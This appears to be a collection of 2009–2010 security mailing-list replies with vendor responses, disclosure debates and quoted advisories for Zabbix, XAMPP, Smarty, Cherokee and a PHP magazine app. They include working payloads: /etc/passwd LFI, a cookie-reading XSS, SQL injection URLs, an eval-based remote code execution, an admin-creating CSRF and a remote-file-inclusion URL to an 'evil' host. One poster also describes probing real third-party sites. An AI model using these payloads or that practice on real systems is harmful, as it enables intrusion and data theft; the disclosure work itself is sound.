Sent: Thu 28. May 2009 10:19
Well MaXe,

Thats very clever of you.  The "vendor" is rolling out a patch and new version to address the issues you have raised.  Not sure why you beleive this software, developed with untold manhours and effort, and then offered for a very modest fee, should be released without appropriate pirating protections.  ..and why you woouldnt warn them and subsequently countless innocents of the issue.  Isnt this what your site is about?

But thanks for raising the issue.

YouAllLookAlikeToMe


From: security@intern0t.net
Sent: Thu 28. May 2009 15:27
InterN0T is about Hacking. (if you have seen the introduction)

To me, Hacking is primarily about learning how and why things works as they do and if they can be changed (improved or abused in this case) and of course, sharing what you find out so the community can benefit from it! 

Afterwards, the developers can learn to code more secure (if you find a vulnerability). However, as we all might know: Security is a human factor and will always be a problem.

If i would contact the vendor as the first thing each time, how would people be able to learn from my research if its not even possible to get an earlier version where the vulnerability is included in?

Consider the alternatives (where i dont contact the vendor):
- Sell the vulnerability and know people will exploit people in the dark.
- Keep it to myself and exploit people.
- Share it among a little group of people and let them play/exploit with it.

Taking that into consideration makes public disclosure sound like a good option to me. :-)


All of the best,
MaXe

PS: Yes, i know people will exploit the issue / vulnerability in the public disclosure method, but in this case the dealer actually has a chance of fixing it and usually they will fix it faster because its a lot more urgent. 

It might stress them, but if they just made sure all function calls and user input (forms) were validated properly then i wouldnt have been able to find these holes in the first place ;-)


From: security curmudgeon jericho@attrition.org
Sent: Mon 20. Jul 2009 07:02
On Mon, 13 Apr 2009, marianiscc@hotmail.com wrote:

: Discovered by Sirdarckcat from elhacker.net

By discovered, you mean copied from the disclosure in September 2006 
right?

CVE-2006-4605 through CVE-2006-4608.



From: bill.carovano@citrix.com
Sent: Wed 29. Jul 2009 14:09
It should be noted that Citrix does not offer a feature or product called "XenCenterWeb."  At one time, this tool was included in the informal XenServer Resource Kit, to serve as an example of how to utilize the XenServer SDK and provide web-based consoles for specific types of administrators (where customers had such a need).  It was never a supported product or feature, and is in fact no longer available.

Bill Carovano
Sr. Director, Technical Product Marketing
Citrix Systems, Inc.


From: starchang@aten.com.tw
Sent: Wed 12. Aug 2009 10:34
This is Technical Support Team from ATEN.

Firstly, we appreciate all suggestions from Germany TUB LAB. Undoubtedly, guaranteeing our KVM products with robust security mechanism is our responsibility.

After discussing with Germany TUB LAB, we believe all security issues could be fixed by new Firmware version as below. 

- KH1508i/KH1516i v1.0.068 
- KN9108/KN9116 v1.1.109 
- PN9108 v1.8.179 

Scheduled Release Date is around Aug. 17, 2009 

Please visit our ATEN official site later.
http://www.aten.com/download/download.php

As for SSL Certificate, SSL Certificate import function has built into our KVM above with new firmware. We strongly suggest our KVM users to import their individual Certificate for advanced security concern. We will tell our KVM users how to generate their own Certificate by openssl tool in our product manual later.

Thanks,
ATEN SUPPORT


From: Glenn Rossi dragon@midatlanticbb.com
Sent: Mon 17. Aug 2009 11:56
I emailed you last week but did not receive a response.

What about units like the CN5000 that do not appear anywhere on your 
website?  We have two of these and are very concerned about the below-
referenced vulnerability.

Will a firmware upgrade for these units be forthcoming as well, or do 
we now own hundreds of dollars worth of paperweights?



> This is Technical Support Team from ATEN.
> 
> Firstly, we appreciate all suggestions from Germany TUB LAB.
> Undoubtedly, guaranteeing our KVM products with robust security
> mechanism is our responsibility. 
> 
> After discussing with Germany TUB LAB, we believe all security issues
> could be fixed by new Firmware version as below. 
> 
> - KH1508i/KH1516i v1.0.068 
> - KN9108/KN9116 v1.1.109 
> - PN9108 v1.8.179 
> 
> Scheduled Release Date is around Aug. 17, 2009 
> 
> Please visit our ATEN official site later.
> http://www.aten.com/download/download.php
> 
> As for SSL Certificate, SSL Certificate import function has built into
> our KVM above with new firmware. We strongly suggest our KVM users to
> import their individual Certificate for advanced security concern. We
> will tell our KVM users how to generate their own Certificate by
> openssl tool in our product manual later. 
> 
> Thanks,
> ATEN SUPPORT

--
Glenn Rossi
Operations/Security/Engineering
MidAtlantic BroadBand/Staffnet/Protel
------------------------------------------
voice:  (866) HELP-KIT ext 132

web:    http://www.midatlanticbb.com
email:  mailto:webmaster@midatlanticbb.com
fax:    (410) 727-8245
handle: dragon
------------------------------------------
MidAtlantic BroadBand
729 East Pratt St., Suite 440
Baltimore, MD USA 21202
------------------------------------------
Without security, freedom is not possible.
------------------------------------------




From: ign.sec@gmail.com
Sent: Wed 6. Jan 2010 09:55
One thing i forgot, a %00 must be included at the end of the LFI, IE: index.php?op=../../../../../../../etc/passwd%00 

And ?op is vulnerable to a xss attack, IE:
index.php?op=<script>alert(document.cookie)</script>

Ignacio.


From: MustLive mustlive@websecurity.com.ua
Sent: Thu 4. Feb 2010 22:01
Hello MaXe!

> Have you checked the newest aka (also known as) latest version which is
> actually: 1.7.3 ?

No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: advisories@intern0t.net
To: bugtraq@securityfocus.com ; MustLive
Sent: Monday, February 01, 2010 10:53 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hi MustLive

Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?

Link: http://www.apachefriends.org/en/xampp-windows.html


Best regards,
MaXe

On January 28, 2010 at 11:55 PM MustLive <mustlive@websecurity.com.ua>
wrote:

> Hello Bugtraq!
>
> I am continue informing you about multiple vulnerabilities in XAMPP.
>
> -----------------------------
> Advisory #7
> -----------------------------
> CSRF, SQL Injection and Full path disclosure vulnerabilities in XAMPP
> -----------------------------
> URL: http://websecurity.com.ua/3285/
> -----------------------------
> Timeline:
>
> 27.06.2009 - found the vulnerabilities.
> 01.07.2009 - announced at my site.
> 02.07.2009 - informed developers.
> 08.08.2009 - disclosed at my site.
> -----------------------------
> Details:
>
> These are Cross-Site Request Forgery, SQL Injection and Full path
> disclosure
> vulnerabilities.
>
> CSRF:
>
> http://site/xampp/cds-fpdf.php
>
> Its possible to delete or add data in test table (as via CSRF, and as via
> Insufficient Authorization vulnerabilities). And also to conduct SQL
> Injection via CSRF attacks.
>
> SQL Injection:
>
> http://site/xampp/cds-fpdf.php?action=del&id=-1%20or%201=1 (register
> globals
> on)
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=1&jahr=1),(version(),1,1
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=,1,1),(version(),1,1)/*
> (mq off)
>
> http://site/xampp/cds-fpdf.php?titel=1&interpret=,1),(version(),1,1)/*
> (mq
> off)
>
> Attack is possible during access to admin panel (via Insufficient
> Authorization), or via CSRF.
>
> Full path disclosure:
>
> http://site/xampp/external/ps/draw.php
> http://site/xampp/external/ps/hyperlinks.php
> http://site/xampp/external/ps/image.php
> http://site/xampp/external/ps/overprint.php
> http://site/xampp/external/ps/ps.php?submit=OK
> http://site/xampp/external/ps/shading.php
> http://site/xampp/external/ps/spotcolor.php
> http://site/xampp/external/ps/text.php
> http://site/xampp/special/ps/draw.php
> http://site/xampp/special/ps/hyperlinks.php
> http://site/xampp/special/ps/image.php
> http://site/xampp/special/ps/overprint.php
> http://site/xampp/special/ps/ps.php?submit=OK
> http://site/xampp/special/ps/shading.php
> http://site/xampp/special/ps/spotcolor.php
> http://site/xampp/special/ps/text.php
>
> Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next
> versions (including last version XAMPP 1.7.1).
>
> -----------------------------
>
> Best wishes & regards,
> MustLive
> Administrator of Websecurity web site
> http://websecurity.com.ua


From: MustLive mustlive@websecurity.com.ua
Sent: Sat 6. Feb 2010 23:56
Hello Sebastien!

You can confirm it by yourself. Just find a site on XAMPP (Google can help
you with it) and check the holes using PoCs which I provided.

> and what target of xampp is it ? win32 ? linux ?

As far as I remember last year when I found all these vulnerabilities in
XAMPP, it was XAMPP on Windows servers on all those sites where I found
these holes.

In 99% of cases Im researching vulnerabilities in the Web at real sites,
not at localhost (at localhost I can check for holes only in software which
I use). And I had never used XAMPP (or WAMPP or LAMPP) and I checked all
these holes at real web sites. So in all my advisories I wrote "Vulnerable
are XAMPP 1.6.8 and previous versions", because maximum version which I
found was 1.6.8. And it was quite possible that version 1.7.1 (last version
at that time) was also vulnerable, so I mentioned about it in my advisories.
And XAMPP developers didnt refute existence of vulnerabilities in 1.7.0 and
1.7.1, when I informed them, and didnt answer if they fixed the holes (so
its possible that these holes are still not fixed).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: S?bastien H?nar?s
To: MustLive
Cc: advisories@intern0t.net ; bugtraq@securityfocus.com
Sent: Friday, February 05, 2010 1:19 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hello people, can a secondary source confirm the vuln please ?
and what target of xampp is it ? win32 ? linux ?


2010/2/4 MustLive <mustlive@websecurity.com.ua>

Hello MaXe!


Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?


No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua


From: lars@enomaly.com
Sent: Tue 16. Feb 2010 15:39
The reported issue DOES NOT AFFECT ANY CURRENT ENOMALY PRODUCT.  Our current products are Enomaly ECP Service Provider Edition and Enomaly ECP High Assurance Edition, and neither utilizes the "vmfeed" module.

Specifically, the "vmfeed" module has not been utilized in any version of our products released since the initial release of Enomaly ECP Service Provider Edition in June 2009.  The "vmfeed" module was utilized only in our previous-generation "Community Edition" product, which has been deprecated and withdrawn from distribution.  Enomaly ECP Service Provider Edition is a completely different product from the old Community Edition.

As a result, since the Community Edition product is deprecated and has been withdrawn, Enomaly has not investigated this reported issue.

Further information on the differences between the deprecated Community Edition technology and our current Service Provider Edition technology can be found at http://src.enomaly.com.

Lars-Erik Forsberg, VP Delivery
Enomaly Inc.


From: dan.j.rosenberg@gmail.com
Sent: Fri 5. Mar 2010 12:10
Apparently Bugtraq doesnt like attachments.  The patches are available as attachments to the archived Full-Disclosure posting, at:

http://seclists.org/fulldisclosure/2010/Mar/122


From: Andrew Morum amorum@brendata.co.uk
Sent: Thu 3. Jun 2010 15:57
Not sure, phprunner incorporates this doesnt it? 

-----Original Message-----
From: Alex Legler [mailto:a3li@gentoo.org] 
Sent: 02 June 2010 22:18
To: gentoo-announce@gentoo.org
Cc: bugtraq@securityfocus.com; full-disclosure@lists.grok.org.uk;
security-alerts@linuxsecurity.com
Subject: [ GLSA 201006-13 ] Smarty: Multiple vulnerabilities

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

Gentoo Linux Security Advisory                           GLSA 201006-13=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

                                            http://security.gentoo.org/=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


  Severity: Normal
     Title: Smarty: Multiple vulnerabilities
      Date: June 02, 2010
      Bugs: #212147, #243856, #270494
        ID: 201006-13

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


Synopsis
=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities in the Smarty template engine might allow
remote attackers to execute arbitrary PHP code.

Background
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Smarty is a template engine for PHP.

Affected packages
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

    -------------------------------------------------------------------=

     Package         /  Vulnerable  /                       Unaffected
    -------------------------------------------------------------------=

  1  dev-php/smarty      < 2.6.23                            >=3D 2.6.2=
3

Description
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities have been discovered in Smarty:

* The vendor reported that the modifier.regex_replace.php plug-in
  contains an input sanitation flaw related to the ASCII NUL character
  (CVE-2008-1066).

* The vendor reported that the _expand_quoted_text() function in
  libs/Smarty_Compiler.class.php contains an input sanitation flaw via
  multiple vectors (CVE-2008-4810, CVE-2008-4811).

* Nine:Situations:Group::bookoo reported that the
  smarty_function_math() function in libs/plugins/function.math.php
  contains input sanitation flaw (CVE-2009-1669).

Impact
=3D=3D=3D=3D=3D=3D

These issues might allow a remote attacker to execute arbitrary PHP
code.

Workaround
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

There is no known workaround at this time.

Resolution
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

All Smarty users should upgrade to an unaffected version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=3Ddev-php/smarty-2.6.23"

NOTE: This is a legacy GLSA. Updates for all affected architectures are=

available since June 2, 2009. It is likely that your system is already
no longer affected by this issue.

References
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

  [ 1 ] CVE-2008-1066
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-1066
  [ 2 ] CVE-2008-4810
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4810
  [ 3 ] CVE-2008-4811
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4811
  [ 4 ] CVE-2009-1669
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2009-1669

Availability
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-201006-13.xml

Concerns?
=3D=3D=3D=3D=3D=3D=3D=3D=3D

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.

License
=3D=3D=3D=3D=3D=3D=3D

Copyright 2010 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5


The information contained in this email is intended for the personal an=
d confidential use
of the addressee only. It may also be privileged information. If you ar=
e not the intended
recipient then you are hereby notified that you have received this docu=
ment in error and
that any review, distribution or copying of this document is strictly p=
rohibited. If you have 
received  this communication in error, please notify Brendata immediate=
ly on: 

+44 (0)1268 466100, or email technical@brendata.co.uk 

Brendata (UK) Ltd
Nevendon Hall, Nevendon Road, Basildon, Essex. SS13 1BX  UK
Registered Office as above. Registered in England No. 2764339

See our current vacancies at www.brendata.co.uk


From: security curmudgeon jericho@attrition.org
Sent: Thu 1. Jul 2010 19:16
On Sat, 12 Jun 2010, info@securitylab.ir wrote:

: #################################################################  
: # Securitylab.ir  
: #################################################################  
: # Application Info:  
: # Name: Cherokee Web Server
: # Version: 0.5.3
: # Download: http://mirror.aarnet.edu.au/pub/cherokee/windows/Cherokee-setup-0.5.3.exe
: #################################################################  

: [Directory Traversal]:
: http://127.0.0.1/%5C../%5C../%5C../boot.ini%20

This is essentially CVE-2009-3902, just encoding one char.

: [Remote Source Disclosure]:
: http://127.0.0.1:80/file.html::$DATA
: 
: http://127.0.0.1/index.htm%20 

Did you try these on something other than HTML? Did it work for .php or 
.asp for example?


From: scott.switzer@openx.org
Sent: Wed 28. Jan 2009 16:34
OpenX has fixed all of the vulnerabilities, and will release new versions of v2.4 and v2.6, after the QA cycle, in the next 24-48 hours.

Scott Switzer
OpenX Community Leader


From: =?ISO-8859-1?Q?Roberto_Mu=F1oz_Fernandez?= robertomf@fujitsu.es
Sent: Fri 6. Mar 2009 00:42
Vulnerability A) confirmed in zabbix 1.4.* for example in..


http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort[%22.phpinfo().%22]=1
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
>
>  Name              Multiple Vulnerabilities in Zabbix Frontend
>  Systems Affected  Zabbix 1.6.2 and possibly earlier versions
>  Severity          High
>  Impact (CVSSv2)   High 9.7/10, vector: (AV:N/AC:L/Au:N/C:P/I:C/A:C)
>  Vendor            http://www.zabbix.com/
>  Advisory          http://www.ush.it/team/ush/hack-zabbix_162/adv.txt
>  Authors           Antonio "s4tan" Parata (s4tan AT ush DOT it)
>                    Francesco "ascii" Ongaro (ascii AT ush DOT it)
>                    Giovanni "evilaliv3" Pellerano (evilaliv3 AT
>                    digitalbullets DOT org)
>  Date              20090303
>
> I. BACKGROUND
>
> >From the Zabbix web site: "ZABBIX offers advanced monitoring, alerting
> and visualization features today which are missing in other monitoring
> systems, even some of the best commercial ones".
>
> II. DESCRIPTION
>
> Multiple Vulnerabilities exist in Zabbix front end software.
>
> III. ANALYSIS
>
> Summary:
>
>  A) Remote Code Execution
>  B) Cross Site Request Forgery
>  C) Local File Inclusion
>
> A) Remote Code Execution
>
> A Remote Code Execution issue has been found in Zabbix version
> 1.6.2 and no authentication is required in order to exploit this
> vulnerability. The Magic Quotes must be off in order to exploit
> this vulnerability, however this feature will not be supported
> starting with PHP 6.0 (ref. http://it2.php.net/magic_quotes).
>
> Zabbix has a security feature that parses all incoming input for
> possible bad chars with the help of the function check_fields() defined
> in "include/validate.inc.php". The issue we have discovered is contained
> in this input validation code.
>
> Pages define an array of every used variable that derives from external
> (GPC) input. An example of the mechanism is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> $fields=array(
>  "config"=>     array(T_ZBX_INT, O_OPT, P_SYS, IN("0,1"), NULL),
>  // actions
>  "groupid"=>    array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "hostid"=>     array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "start"=>      array(T_ZBX_INT, O_OPT, P_SYS, BETWEEN(0,65535)."({}%".
>                 PAGE_SIZE."==0)", NULL),
>  "next"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  "prev"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  // filter
>  "filter_rst"=> array(T_ZBX_INT, O_OPT, P_SYS, IN(array(0,1)), NULL),
>  "filter_set"=> array(T_ZBX_STR, O_OPT, P_SYS, null, NULL),
>  "userid"=> array(T_ZBX_INT, O_OPT, P_SYS, DB_ID, NULL),
>  filter_timesince=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  filter_timetill=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  //ajax
>  favobj=>     array(T_ZBX_STR, O_OPT, P_ACT, NULL, NULL),
>  favid=>      array(T_ZBX_STR, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj})),
>  state=>      array(T_ZBX_INT, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj}) && ("filter"=={favobj})),
> );
>
> check_fields($fields);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> After the definition of the "$fields" array all the variables are
> checked by the function check_fields().
>
> The main step of the check_fields() function is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> foreach($fields as $field => $checks){
>  $err |= check_field($fields, $field, $checks);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> Following the check_field() function we have identified that the
> functions main steps are the creation of some local variables using
> list() and a consequent call of calc_exp() (which resides in the same
> file).
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> list($type, $opt, $flags, $validation, $exception) = $checks;
> [...]
> $except=calc_exp($fields,$field,$exception);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> calc_exp()s code is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp($fields,$field,$expression){
>  if(zbx_strstr($expression,"{}") && !isset($_REQUEST[$field]))
>   return FALSE;
>
>  if(zbx_strstr($expression,"{}") && !is_array($_REQUEST[$field]))
>   $expression = str_replace("{}",$_REQUEST[".$field."],$expression);
>
>  if(zbx_strstr($expression,"{}") && is_array($_REQUEST[$field])){
>  foreach($_REQUEST[$field] as $key => $val){
>    $expression2 =
> str_replace("{}",$_REQUEST[".$field."][".$key."],$expression);
>    if(calc_exp2($fields,$field,$expression2)==FALSE)
>     return FALSE;
>   }
>   return TRUE;
>  }
>  return calc_exp2($fields,$field,$expression);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> As you can see we should be able to call calc_exp2(), our vulnerable
> function, avoiding to fall into a breach that exits (returns) from the
> function.
>
> Investigating calc_exp2()s source:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp2($fields,$field,$expression){
>  foreach($fields as $f => $checks){
>   $expression = str_replace({.$f.},$_REQUEST[".$f."],$expression);
>  }
>
>  $expression = trim($expression,"& ");
>  $exec = "return (".$expression.") ? 1 : 0;";
>
>  $ret = eval($exec);
>
>  return $ret;
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> We have reached a function that contains an eval() call of the "$exec"
> variable that contains user controlled data.
>
> To better understand how the executed string is composed we must find
> a disposable page. Thanks to "locales.php" we can reach this function
> without any authentication.
>
> Now if we try to execute the query:
>
> /locales.php?download&langTo&extlang[AAA]=1
>
> The value of $exec is the following:
>
> return (($_REQUEST["extlang"]["AAA"]!=)) ? 1 : 0;
>
> Some constraints exist: the injected payload must comply with the
> calc_exp()s requirements in order to call calc_exp2() and the created
> string must be syntactically correct. What we can do is to play with
> the key values of the array. An intermediate test was:
>
> /locales.php?download&langTo&extlang[AAA"];phpinfo();]=1
>
> But it generates a syntax error. After some thinking the problem was
> solved in this way:
>
> /locales.php?download&langTo&extlang[".phpinfo()."]=1
>
> Now the syntax is correct and the payload gets executed.
>
> B) Cross Site Request Forgery
>
> A CSRF vulnerability exists in file "users.php". If the admin visits the
> following link:
>
> /users.php?config=0&save&alias=alias&name=foo&surname=foo&user_type=3&
> lang=lang&theme=theme&autologout=0&url=url&refresh=0
>
> A user with admin permissions is created.
>
> C) Local File Inclusion
>
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
>
> The following URL exploits this vulnerability:
>
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
>
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
>
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
>
> Nullbyte injection normally requires magic quotes off.
>
> The vulnerable code is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> IV. DETECTION
>
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
>
> V. WORKAROUND
>
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.
>
> VI. VENDOR RESPONSE
>
> Vendor will fix all the exposed vulnerabilities in Zabbix 1.6.3.
>
> VII. CVE INFORMATION
>
> No CVE at this time.
>
> VIII. DISCLOSURE TIMELINE
>
> 20081215 Bug discovered
> 20090116 Initial vendor contact
> 20090116 Vendor Response (Fixes will be included in Zabbix 1.6.3)
> 20090130 Second email (When this is going to be fixed?)
> 20090131 Vendor Response (Everything has been fixed a week ago and is
>          publicy aviable in the SVN, Zabbix 1.6.3 will be released
>          within 10-15 days)
> 20090220 Third email (20 days elasped and no response, we will release
>          on 23 Feb)
> 20090220 Vendor Response (Postpone of 5-10 days required)
> 20090220 Third email (We will wait 5-10 days, 2 March is the deadline
>          if no contact)
> 20090303 Forced Advisory Release
>
> IX. CREDIT
>
> Antonio "s4tan" Parata, Francesco "ascii" Ongaro and Giovanni
> "evilaliv3" Pellerano are credited with the discovery of this
> vulnerability.
>
> Antonio "s4tan" Parata
> web site: http://www.ictsc.it/
> mail: s4tan AT ictsc DOT it, s4tan AT ush DOT it
>
> Francesco "ascii" Ongaro
> web site: http://www.ush.it/
> mail: ascii AT ush DOT it
>
> Giovanni "evilaliv3" Pellerano
> web site: http://www.evilaliv3.org
> mail: giovanni.pellerano AT evilaliv3 DOT org
>
> X. LEGAL NOTICES
>
> Copyright (c) 2009 Francesco "ascii" Ongaro
>
> Permission is granted for the redistribution of this alert
> electronically. It may not be edited in any way without mine express
> written consent. If you wish to reprint the whole or any
> part of this alert in any other medium other than electronically,
> please email me for permission.
>
> Disclaimer: The information in the advisory is believed to be accurate
> at the time of publishing based on currently available information. Use
> of the information constitutes acceptance for use in an AS IS condition.
> There are no warranties with regard to this information. Neither the
> author nor the publisher accepts any liability for any direct, indirect,
> or consequential loss or damage arising from use of, or reliance on,
> this information.
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
>   



From: Eygene Ryabinkin rea-sec@codelabs.ru
Sent: Mon 9. Mar 2009 14:59
Good day.

Small addition to the advisory.

Tue, Mar 03, 2009 at 03:30:26PM +0000, ascii wrote:
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
[...]
> C) Local File Inclusion
> 
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
> 
> The following URL exploits this vulnerability:
> 
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
> 
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
> 
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
> 
> Nullbyte injection normally requires magic quotes off.
> 
> The vulnerable code is the following:
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
> 
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

The second variable, extlang, also can be used for the file inclusion
and before r6886 there was the programming error: patch for locales.php
r6593 included wrong validation condition for extlang:
-----
if(ereg(^[A-Za-z0-9_]+$, $_REQUEST[srclang]) && ($_REQUEST[extlang] != new))
-----
This was fixed in revision 6886 of branches/1.6.

> IV. DETECTION
> 
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
> 
> V. WORKAROUND
> 
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.

Be sure to update to the r6886 or later, otherwise LFI will still
be possible.
-- 
Eygene


From: marianiscc@hotmail.com
Sent: Mon 13. Apr 2009 14:49
Discovered by Sirdarckcat from elhacker.net

------------------------------------------------------------------------
------------

Revista 1.1.2

http://php-revista.sourceforge.org

------------------------------------------------------------------------
------------

Revista is a simple spanish PHP magazine editor.

It was done by php.org.mx

It suffers of multiple vulnerabilities.

------------------------------------------------------------------------
------------

Remote File Inclusion

http://revista/estilo/[ANY STYLE]/index.php?adodb=http://evil/script

------------------------------------------------------------------------
------------

SQLi

http://revista/estilo/[ANY STYLE]/busqueda_tema.php?id_temas=-1+[SQL]

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=+[SQL]

http://revista/estilo/[ANY STYLE]/autor.php?id_autor=-1+[SQL]

http://revista/estilo/[ANY STYLE]/lista.php?email=+[SQL]

http://revista/estilo/[ANY STYLE]/articulo.php?id_articulo=-1+[SQL]

------------------------------------------------------------------------
------------

Credentials Bypass

http://revista/admin/index.php?ID_ADMIN=1&SUPER_ADMIN=1

------------------------------------------------------------------------
------------

XSS

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=<XSS>

